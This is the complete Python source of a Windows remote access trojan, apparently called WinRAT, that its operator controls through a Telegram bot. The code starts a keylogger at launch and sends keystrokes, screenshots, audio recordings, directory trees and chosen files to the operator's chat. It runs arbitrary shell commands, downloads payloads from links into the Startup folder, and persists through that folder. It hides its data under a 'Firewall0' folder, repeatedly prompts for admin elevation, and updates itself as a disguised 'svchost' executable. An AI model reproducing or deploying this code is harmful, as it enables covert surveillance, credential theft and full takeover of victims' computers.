main.py

import os
import telepot
from telepot.loop import MessageLoop
from telepot.namedtuple import InlineKeyboardMarkup, InlineKeyboardButton
import re, uuid 
import platform
import getpass
import time
import requests
from PIL import ImageGrab
import datetime
import webbrowser
import threading
import pyHook, pythoncom
from helper import RadiumKeylogger
from helper import RecAudio
from helper import DirectoryTree
import subprocess
import ctypes, sys

CHAT_ID = '12345667868'  #Get chat id from telegram app
ACCESS_TOKEN = '456456546:asdasda45345ASsEqbe23O' # Get access token from botfather in telegram app

MAC_ADDRESS = ':'.join(re.findall('..', '%012x' % uuid.getnode()))
PLAT_FORM = platform.platform()
USER = getpass.getuser()


# buffer = ''
# count_scr = 0
# count_letter = 0
# count_scremail = 0
# check_count = 1234
CURR_FILE_PATH = os.path.realpath(__file__)
CURR_FILE_NAME = os.path.basename(__file__)
SAVE_FILES = os.environ.get('HOMEDRIVE') + os.environ.get('HOMEPATH') + '\AppData\Local\Firewall0'
USERDATA_PATH = SAVE_FILES + "\\User Data\\"
driveTreefile_name = USERDATA_PATH + 'DirectoryTree.txt'
STARTUP_PATH = os.environ.get('HOMEDRIVE') + os.environ.get('HOMEPATH') + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'
key_log = USERDATA_PATH + "keylog111.txt" 
current_system_time = datetime.datetime.now()
keylogger_stat = 0
default_rec_time = 10
change_rec_time_step = 0
get_url_step = 0
cmd_step = 0
cmd = ''
bot = telepot.Bot(ACCESS_TOKEN)
url = ''
keylog_data = '_'
default_download_location = os.environ.get('HOMEDRIVE') + os.environ.get('HOMEPATH') + "\\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\\"
download_step = 0
get_file_tele_step = 0
update_rat_step = 0
# updated_RAT_path = 'firewall_updated.exe'

def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False

def reqUAC():
    bot.sendMessage(CHAT_ID, "Requesting until Admin Access is got...")
    while is_admin() == False:
        try:
            ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1)
        except Exception as e:
            bot.sendMessage(CHAT_ID, str(e))
            break
        
        time.sleep(15)

    os._exit(1)
    quit()
    

def requestUAC():
    reqUACThread = threading.Thread(target = reqUAC)
    reqUACThread.daemon = True
    reqUACThread.start()

def sendKeylogs(text):
    global keylog_data
    print("\n\ndata from file:\n" + text)
    f = open(key_log, 'w', encoding='utf-8')
    f.write("")
    #f = open(key_log, 'w').close()
    bot.sendMessage(CHAT_ID, text)
    
def checkKeylogSize():
    while True:
        with open(key_log, 'r') as file:
            text = file.read()
            len_chars = sum(len(word) for word in text)
        if len_chars > 50:
            sendKeylogs(text)
        time.sleep(30)

def internetOn(url='https://www.google.com/', timeout=5):
    try:
        response = requests.get(url, timeout=timeout)
        return True
    except requests.ConnectionError:
        print("No internet connection available.")
    return False
    
    
#print(MAC_ADDRESS, PLAT_FORM, USER, internetOn())

def screenshot():
    ts = datetime.datetime.now().strftime("%Y%m%d-%H%M%S")
    tries = 5
    while tries >= 0:
        try:
            scr_img = ImageGrab.grab()
            scr_img.save(str(ts) + '.png')
            bot.sendPhoto(CHAT_ID,open(ts+'.png','rb'),caption="Screenshot from " + USER)
            os.remove(str(ts) + '.png')
            break
        except Exception as e:
            tries -= 1
            bot.sendMessage(CHAT_ID, "Couldn't capture screenshot. Trying in 2 seconds. Remaining Tries: " + str(tries))
            print(str(e))
            time.sleep(2)
    return True


def MainMenu_Send():
    global change_rec_time_step, get_url_step, cmd_step, cmd, url, download_step, get_file_tele_step, update_rat_step
    change_rec_time_step = 0
    get_url_step = 0
    cmd_step = 0
    cmd = ''
    url = ''
    download_step = 0
    get_file_tele_step = 0
    update_rat_step = 0
    #content_type, chat_type, chat_id = telepot.glance(msg)
    keyboard = InlineKeyboardMarkup(inline_keyboard=[
       [InlineKeyboardButton(text= "🌟 Get Screenshot", callback_data = 'screenshot')],
       [InlineKeyboardButton(text= "🔑 Get Keylogs", callback_data = 'get_keylogs')],
       [InlineKeyboardButton(text= "🎤 Record audio", callback_data = 'rec_audio')],
       [InlineKeyboardButton(text= "🌏 Open website", callback_data = 'open_website')],
       [InlineKeyboardButton(text= "💽 Drive List", callback_data = 'drive_list')],
       [InlineKeyboardButton(text= "🌴 Directory List", callback_data = 'directory_list')],
       [InlineKeyboardButton(text= "🔋 Run cmd command", callback_data = 'run_cmd_command')],
       [InlineKeyboardButton(text= "📥 Download a file to victim PC (via link)", callback_data = 'down_via_link')],
       [InlineKeyboardButton(text= "📧 Get a file from victim PC (via Telegram)", callback_data = 'getfile_via_tele')],
       [InlineKeyboardButton(text= "🛡️ (Experimental) Request Admin Access", callback_data = 'request_uac')],
       [InlineKeyboardButton(text= "🐀 UPDATE RAT", callback_data = 'update_rat')]
       ]
       )

    bot.sendMessage(CHAT_ID, "###Main Menu###\nSelect what you wanna do:", reply_markup=keyboard)

def recAudioMenu(step):
    if step == 1:
        keyboard = InlineKeyboardMarkup(inline_keyboard=[
           [InlineKeyboardButton(text= "Time in seconds (default: " + str(default_rec_time) + "  seconds)", callback_data = 'default_rec_time_change')],
           [InlineKeyboardButton(text= "Start Record", callback_data = 'start_rec_audio')],
           [InlineKeyboardButton(text= "Return to Main Menu", callback_data = 'return_main_menu')]]
           )

        bot.sendMessage(CHAT_ID, "###Audio Recording Menu###\nSelect what you wanna do:", reply_markup=keyboard)
    elif step == 2:
        bot.sendMessage(CHAT_ID, "Enter amount of seconds to be recorded: ")
        global change_rec_time_step
        change_rec_time_step = 1
    #elif step == 3:

def openWebsiteMenu(step, url):
    if step == 1 and url == '':
        keyboard = InlineKeyboardMarkup(inline_keyboard=[
               [InlineKeyboardButton(text= "Return to Main Menu", callback_data = 'return_main_menu')]]
               )

        bot.sendMessage(CHAT_ID, "###Open Website Menu###\nType in the link (with http or https):", reply_markup=keyboard)
        global get_url_step
        get_url_step = 1
    elif step == 2 and url != '':
        try:
            webbrowser.open(url)
            bot.sendMessage(CHAT_ID, "Website opened in " + USER + " ^_^")
        except:
            bot.sendMessage(CHAT_ID, "Couldn't open website!!!")
    else:
        print("Website link can't be empty!!!")
        return False


def runCmd(step):
    global cmd_step, cmd
    keyboard = InlineKeyboardMarkup(inline_keyboard=[
               [InlineKeyboardButton(text= "Return to Main Menu", callback_data = 'return_main_menu')]]
               )
    if step == 1:
        bot.sendMessage(CHAT_ID, "Enter your command and wait for output", reply_markup=keyboard)
        cmd_step = 1
    elif step == 2 and cmd != '':
        output = 'Output:\n\n' + str(subprocess.getoutput(cmd))
        bot.sendMessage(CHAT_ID, output, reply_markup=keyboard)
        #cmd_step = 0
    else:
        bot.sendMessage(CHAT_ID, "Invalid Command!", reply_markup=keyboard)
        cmd_step = 0

def download(step, url, dest):
    global download_step
    global default_download_location
    download_step = 1
    if step == 1:
        keyboard = InlineKeyboardMarkup(inline_keyboard=[
               [InlineKeyboardButton(text= "Change Download Location", callback_data = 'change_download_location')],
               [InlineKeyboardButton(text= "Return to Main Menu", callback_data = 'return_main_menu')]]
               )
        bot.sendMessage(CHAT_ID, "### Download Menu (via link) ###\nPaste the download link on the file...\nDefault Download Location: " + default_download_location, reply_markup=keyboard)
        
    elif step == 2:
        # download_step = 0
        keyboard = InlineKeyboardMarkup(inline_keyboard=[
               [InlineKeyboardButton(text= "Desktop", callback_data = 'down_loc_desk')],
               [InlineKeyboardButton(text= "Startup", callback_data = 'down_loc_start')],
               [InlineKeyboardButton(text= "D:\\ Drive (root dir)", callback_data = 'down_loc_d_drive')]]
               )
        bot.sendMessage(CHAT_ID, "### Download Menu (via link) ###\nChange Download Location...\nDefault Download Location: " + default_download_location, reply_markup=keyboard)
        
    elif step == 3:
        try:
            r = requests.get(url)
            with open(dest + url.split('/')[-1], 'wb') as f:
                f.write(r.content)
            bot.sendMessage(CHAT_ID, "File was downloaded in: " + default_download_location)
        except Exception as e:
            print(str(e))
            bot.sendMessage(CHAT_ID, str(e))
        download_step = 0

def getFileTele(step, dest):
    global get_file_tele_step
    if step == 1:
        get_file_tele_step = 1
        bot.sendMessage(CHAT_ID, "### Download Menu (via Telegram) ###\nType in the full location of the file:\n(You might need the Directory Tree first!)")
    elif step == 2:
        try:
            bot.sendDocument(CHAT_ID, document=open(dest, "rb"))
            bot.sendMessage(CHAT_ID, "File was uploaded to Telegram successfully")
        except Exception as e:
            print(str(e))
            bot.sendMessage(CHAT_ID, str(e))
        get_file_tele_step = 0

def updateRAT(step):
    if "exe" in CURR_FILE_NAME.lower():
        keyboard = InlineKeyboardMarkup(inline_keyboard=[
                [InlineKeyboardButton(text= "Return to Main Menu", callback_data = 'return_main_menu')]]
                )
        global update_rat_step
        if step == 1:
            update_rat_step = 1
            bot.sendMessage(CHAT_ID, "Upload the updated exe:", reply_markup=keyboard)
        elif step == 2:
            bot.sendMessage(CHAT_ID, "Please wait while you see respond from the updated RAT!!!")
            bat_script = "timeout /t 3 /nobreak\ndel " + "svchost" + ".exe\nren " + "svchost" + "_updated.exe" + CURR_FILE_NAME + "\nstart /MIN " + CURR_FILE_NAME + "\nEXIT"
            with open('helper.bat', 'w') as the_file:
                the_file.write(bat_script)
            time.sleep(1)
            os.system("start /min helper.bat")
            #import sys
            os._exit(0)
    else:
        bot.sendMessage(CHAT_ID, "You have to create exe for this feature!!!")

def startUpWork():
    if not os.path.exists(SAVE_FILES):
        try:
            os.makedirs(SAVE_FILES)
            os.makedirs(USERDATA_PATH)
        except:
            print("Directory already exists!")
    
    
    # print(CURR_FILE_PATH)
    # print('copy ' + CURR_FILE_PATH + ' ' + SAVE_FILES + "\\" )
    if os.path.isfile(STARTUP_PATH + "\\" + CURR_FILE_NAME) == False:
        if "exe" in CURR_FILE_NAME.lower():
            os.system('copy "' + CURR_FILE_PATH + '" "' + STARTUP_PATH + '\\"' )
        else:
            print("Py file will not be copied to startup folder. Create exe for that functionality.")

    # if internetOn() == True:
    try:
        os.system("del helper.bat")
        #bot.sendMessage(CHAT_ID, "helper.bat was removed.\nRAT was updated successfully!!! ^_^")
    except:
        pass

    bot.sendMessage(CHAT_ID, USER + " is online!\nMAC: " + MAC_ADDRESS + "\nPlatform: " + PLAT_FORM + "\nAdmin Access: " + str(bool(is_admin())) + "\n\nType /help to get commands!")
    screenshot()
    # MainMenu_Send()

 
def on_callback_query(msg):
    query_id, from_id, query_data = telepot.glance(msg, flavor='callback_query')
    global keylogger_stat, cmd
    global change_rec_time_step, get_url_step, cmd_step
    global default_download_location, url, kLog, checkLog
    if query_data == 'screenshot':
        screenshot()
        # MainMenu_Send()
    # elif query_data == 'start_keylogger':
    #     if keylogger_stat == 0:
    #         kLog = threading.Thread(target = RadiumKeylogger.hookslaunch)
    #         kLog.daemon = True
    #         kLog.start()
    #         keylogger_stat = 1
    #         bot.sendMessage(CHAT_ID, "Keylogger deployed in " + USER + " ^_^")
    #         f = open(key_log, 'w').close()
    #         checkLog = threading.Thread(target = checkKeylogSize)
    #         checkLog.daemon = True
    #         checkLog.start()
    #         # MainMenu_Send()
    #     else:
    #         bot.sendMessage(CHAT_ID, "Keylogger has already been deployed in " + USER + " ^_^")
    #         # MainMenu_Send()
    elif query_data == 'get_keylogs':
        # RadiumKeylogger.STOP_FLAG = False
        # keylogger_stat = 0
        # bot.sendMessage(CHAT_ID, "Keylogger process killed in " + USER + "!")
        with open(key_log, 'r') as myfile:
            data = myfile.read()
        bot.sendMessage(CHAT_ID, "Keylog Data from " + USER + ":\n" + data)
        # MainMenu_Send()
    elif query_data == 'rec_audio':
        recAudioMenu(1)
    elif query_data == 'default_rec_time_change':
        recAudioMenu(2)
    elif query_data == 'start_rec_audio':
        bot.sendMessage(CHAT_ID, "Starting audio recording. Record time " + str(default_rec_time) + " seconds.")
        a_rec = RecAudio.RecordAudio()
        a_rec.start(default_rec_time)
        bot.sendAudio(CHAT_ID, open('output.wav', 'rb'), title = 'Recording from ' + USER + ". Record time " + str(default_rec_time) + " seconds.")
        os.remove('output.wav')
        recAudioMenu(1)
    elif query_data == 'return_main_menu':
        MainMenu_Send()
        change_rec_time_step = 0
        get_url_step = 0
        cmd_step = 0
        download_step = 0
    elif query_data == 'open_website':
        global url
        openWebsiteMenu(1, url)
    elif query_data == 'drive_list':
        LD = DirectoryTree.Directory()
        drives = LD.get_list_drives()
        bot.sendMessage(CHAT_ID, USER + " : " + str(drives))
    elif query_data == 'directory_list':
        bot.sendMessage(CHAT_ID, "Creating Drive Tree for " + USER + "...")
        DT = DirectoryTree.Directory()
        DT.run()
        bot.sendDocument(CHAT_ID, open(driveTreefile_name, 'rb'))
        #transfer.sendData(CACHE_PATH + "DirectoryTree",".txt")
        os.remove(driveTreefile_name)
        bot.sendMessage(CHAT_ID, "Drive Tree was created and sent successfully!")
    elif query_data == 'run_cmd_command':
        runCmd(1)
    elif query_data == 'down_via_link':
        download(1, url, default_download_location)
    elif query_data == 'change_download_location':
        download(2, url, default_download_location)
    elif query_data == 'down_loc_desk':
        default_download_location = os.environ.get('HOMEDRIVE') + os.environ.get('HOMEPATH') + "\\Desktop\\"
        download(1, url, default_download_location)
    elif query_data == 'down_loc_start':
        default_download_location = os.environ.get('HOMEDRIVE') + os.environ.get('HOMEPATH') + "\\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\\"
        download(1, url, default_download_location)
    elif query_data == 'down_loc_d_drive':
        default_download_location = "D:\\"
        download(1, url, default_download_location)
    elif query_data == 'getfile_via_tele':
        getFileTele(1, ' ')
    elif query_data == "request_uac":
        requestUAC()
    elif query_data == 'update_rat':
        updateRAT(1)
    elif query_data == '/help':
        MainMenu_Send()

def on_chat_message(msg):
    global change_rec_time_step
    global default_rec_time
    global get_url_step
    global url, cmd, update_rat_step
    content_type, chat_type, chat_id = telepot.glance(msg)
    if content_type == 'text' and msg['text'] == '/help':
        MainMenu_Send()
    elif content_type == 'text' and msg['text'] == 'whoisonline':
        bot.sendMessage(CHAT_ID, USER + " is online!\nMAC: " + MAC_ADDRESS + "\nPlatform: " + PLAT_FORM)
        # MainMenu_Send()
    elif change_rec_time_step == 1:
        if content_type == 'text' and isinstance(int(msg['text']), int) == True:
            change_rec_time_step = 0
            default_rec_time = int(msg['text'])
            bot.sendMessage(CHAT_ID, "Default audio record time was changed to " + str(default_rec_time) + " seconds! ^_^")
            recAudioMenu(1)
        else:
            bot.sendMessage(CHAT_ID, "Invalid input. Enter an integer instead.")
            recAudioMenu(2)
    elif get_url_step == 1:
        if content_type == 'text' and isinstance(msg['text'], str) == True:
            get_url_step = 0
            url = msg['text']
            openWebsiteMenu(2, url)
            url = ''
            # MainMenu_Send()
    elif cmd_step == 1:
        cmd = str(msg['text'])
        runCmd(2)
    elif download_step == 1:
        download_step == 0
        url = msg['text']
        download(3, url, default_download_location)
        url = ''
        # MainMenu_Send()
    elif get_file_tele_step == 1:
        get_file_tele_step == 0
        getFileTele(2, str(msg['text']))
        # MainMenu_Send()
    elif update_rat_step == 1:
        update_rat_step = 0
        if content_type == 'text':
            try:
                url0 = msg['text']
                r = requests.get(url0)
                with open(SAVE_FILES + "\\" + url0.split('/')[-1], 'wb') as f:
                    f.write(r.content)
                bot.sendMessage(CHAT_ID, "File was downloaded in: " + default_download_location)
                updateRAT(2)
            except Exception as e:
                print(str(e))
                bot.sendMessage(CHAT_ID, "File wasn't downloaded & updated!!!")
                # MainMenu_Send()
            
        else:
            # MainMenu_Send()
            pass
        
    else:
        bot.sendMessage(CHAT_ID, "Invalid Command!!!")
        MainMenu_Send()
        
        
print("WinRAT STARTED!!!")            

while internetOn() == False:
    time.sleep(10)

print("Connection Established!!!")

MessageLoop(bot, {'chat': on_chat_message,
                  'callback_query': on_callback_query}).run_as_thread()

startUpWork()        
print("Listening...")

# Starting keylogger at startup
kLog = threading.Thread(target = RadiumKeylogger.hookslaunch)
kLog.daemon = True
kLog.start()
bot.sendMessage(CHAT_ID, "Keylogger Deployed!")

# Keylog file checker thread
checkLog = threading.Thread(target = checkKeylogSize)
checkLog.daemon = True
checkLog.start()

while 1:
    time.sleep(10)